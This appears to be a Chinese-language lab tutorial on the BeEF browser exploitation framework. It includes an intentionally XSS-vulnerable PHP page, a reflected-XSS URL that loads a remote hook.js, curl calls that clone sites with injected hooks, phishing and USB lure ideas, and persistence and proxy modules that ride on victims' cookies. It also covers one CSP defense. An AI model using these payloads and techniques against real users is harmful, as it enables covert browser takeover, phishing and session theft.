BeEF
框架介绍
Ruby
中内置的框架,用于评估浏览器的安全性创造一个链接来连接浏览器,链接通常是
JS
编写的hook
,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送JS
命令,浏览器再将回应返给攻击者其发送的是
web
请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了JS
挂钩,那么攻击者对浏览器活动就有很高的权限这个
kali
里面也是有内置的,但笔者建议把内置的删掉再安装最新的1
2
3
4apt-get purge --auto-remove beef
apt-get purge --auto-remove beef-xss
git clone https://github.com/beefproject/beef
./install然后去
config.yaml
中更改默认密码使用
./beef
启动./beef -x
清理数据库beef
控制台使用http://127.0.0.1:3000/ui/panel
中访问图形化界面点击箭头处链接浏览器就会上线,可以在左边栏看到
对于
Command
模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效挂钩浏览器
无论是反射型
xss
或者arp
欺骗,最终目的都是让目标浏览器访问/加载beef
的hook
页面http://127.0.0.1:3000/demos/basic.html
以基本的反射型
xss
为例首先需要一个易受
xss
攻击的网站,新建一个php
页面,代码如下1
2
3<HTML> <BODY> <FORM>
<INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
<INPUT TYPE=SUBMIT> </BODY></HTML>那么靶机访问
http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22
则会成功链接ettercap DNS
欺骗欺骗到
beef
生成的钩子地址上即可自动注入挂钩
借助
beef injection framework
自动重写web
流量使其包含挂钩1
git clone https://github.com/SpiderLabs/beef_injection_framework
获取指纹实践
浏览器指纹
command-browser-fingerprint
用户指纹
包括浏览器存储的
cookie
,用户会话历史,综合以上信息可知到用户常访问的网站类型用
beef
高级演示页面来演示即靶机访问
[IP]:3000/demos/butcher/index.html
在下方填入的信息即便不提交,也可以在
beef
中使用command-browser-get form value
查看到
接下来跟着这位来复现一遍操作
初始化控制
XSS
在真实环境中,对于
beef
这种需要加载远程js
的XSS
攻击,存在一种更优的防御方法,即CSP
,内容安全策略。其同于检测并削弱某些特定类型攻击。CSP
规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行js
的eval()
函数,如1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' ">
该段指令让浏览器仅加载同源资源,以防止异源的
beef
攻击有安全漏洞的
Web
应用- 广告网路
社工
网站搭建
使用
beef
自带的Web
克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在beef
被关闭后被销毁1
2
3curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86搭建成功后发现僵尸不上线,查看网站源码,发现是
js
地址错误到配置文件
config.yaml
里改成本机的
IP
即可,随后重启服务诱饵
钓鱼邮件
需要模糊,缩短
url
,并设计自己的邮件系统物理诱惑
有
html
文件的u盘QR code
感觉是最为保险的手段
中间人攻击
此类攻击仅当和受害者在同一网络下才可进行,考虑用
aircrack-ng
破解wifi
密码这里使用
mitmproxy
,顺便记录一下使用时的问题安装
报错
1
1
2raise ValueError(f'mutable default {type(f.default)} for field '
ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory解决方案是更新
apt
源并更新mitmproxy
,大概原因是kali
内置的版本过老,不支持本机的python3.11
1
2apt update
apt-get install mitmproxy报错
2
1
AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?
应该是
pyOpenSSL
的问题,更新一下1
pip3 install mitmproxy
但又遇到了
pip3
报错1
error: externally-managed-environment
我搜到的解决方案是使用
1
pip3 install mitmproxy --break-system-packages
使用
在新版的
mitmproxy
中-R
参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入(哭哭
持续控制
初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间
持续控制分为两种:持久通信,
beef
服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面持久通信
CORS
跨域资源共享其扩展了同源策略的限制,允许页面读取来自其他来源的
http
响应,即beef
发送的命令对于浏览器一定是异源的,故其发送的每个http
头部都包含:1
2Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET以允许来自任意地方的
post/get
请求开启
Websocket
通信其速度快于
beef
默认使用的XMLHTTPRequest
,但其不适用于低版本的浏览器:IE>=10
,Firefox>=16.0
,chrome>=23.0
在默认下,
kali
中其配置文件位于/usr/share/beef-xss/config.yaml
做出如下修改
1
2
3# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: truebeef
会根据浏览器版本自动选择是否使用websocket
持久存续
内嵌
iframe
框架persistence-Create foreground iFrame
模块,不需任何参数即可执行,在僵尸浏览器上创造一个100%
的iframe
在用户点击一个新界面时代码生效
其弊端是顶部的
url
栏不会改变,如图而对于使用
js
渲染的页面则会出现页面混乱,点击无效等情况MitB
浏览器中间人与中间人攻击不同,不需要处在同一网络下。
Persistence-Man In The Browser
模块在僵尸浏览器中用js
自动截获/发送http
的内容,并异步展现给用户在用户正常访问的同时能保持钩子
其弊端也很明显,即不能打开图片
以及对于
js
制作的跨域链接,由于MitB
实现原理缺陷导致其无法控制新页面注意
MitB
与iframe
只能使用一种窗口事件处理
Persistence-Confirm Close Window
不断弹出如下窗口但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现
firefox
和chrome
只有在关闭浏览器时才会有弹窗;360
在关闭当前页面或关闭浏览器时都会有弹窗;QQ
点击关闭当前页面之后,它会打开一个新标签页去加载BeEF
服务器的demo
页面;搜狗全部都没有弹窗。如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用
动态底层弹出窗口
Persistence-Create Pop Under
可以在用户点击链接时弹出一个指向beef
初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响弊端是如此只能弹出
beef
窗口,会导致用户察觉,而且笔者这里用chrome
复现失败
绕过同源策略与浏览器代理
SOP
与DOM
文档对象模型浏览器同源策略,限制不同源的交互,致使
beef
仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用Web
的特性,这里介绍后者当子域之间需要相互访问时,如
login.site.com
需要访问admin.site.com
的表单,开发者会在admin.site.com
所在页面加入如下js
1
document.domain="site.com"
那么
site.com
下所有子域都可以访问admin.site.com
的DOM
那么当
beef
钩住test.site.com
,可以查找具有此类的页面,从而小范围绕过SOP
的限制SOP
与CORS
与上文类似的,由于
Web
开发者错误的设置导致可以进行跨域资源共享,在子站test.site.com
加入以下代码1
2Access-Control-Allow-Origin: *.site.com
Access-Control-Allow-Methods: OPTIONS, GET, POST会导致
site.com
的所有子站都可以访问test.site.com
的资源Tunneling Proxy
浏览器代理beef
中极为强大的一个功能对于被钩住的僵尸浏览器
A
以及被钩住的域hook-domain.com
,攻击浏览器B
:B
通过beef
发送http
请求,转为AJAX
请求插入僵尸浏览器B
随后要执行的js
脚本中,浏览器B
向域hook-domain.com
发送一个AJAX
请求,且请求带上了该网站的cookie
,域返回的请求则会被钩子截取并返回给攻击浏览器A
,而不会显示在浏览器B
上完成这个实验需要三个不同的浏览器,僵尸浏览器
A
,攻击者浏览器B
用于登录beef
服务器,攻击者浏览器C
用于使用代理,三者不共享数据先去
extensions/proxy/config.yaml
确保enable
为true
对于被钩住的浏览器
B
选择Use as proxy
如此,
beef
所在主机的6789
端口就是一个代理使用
firefox -P
打开另一个不共享数据的浏览器将其代理设为
127.0.0.1 port:6789
与配置文件保持统一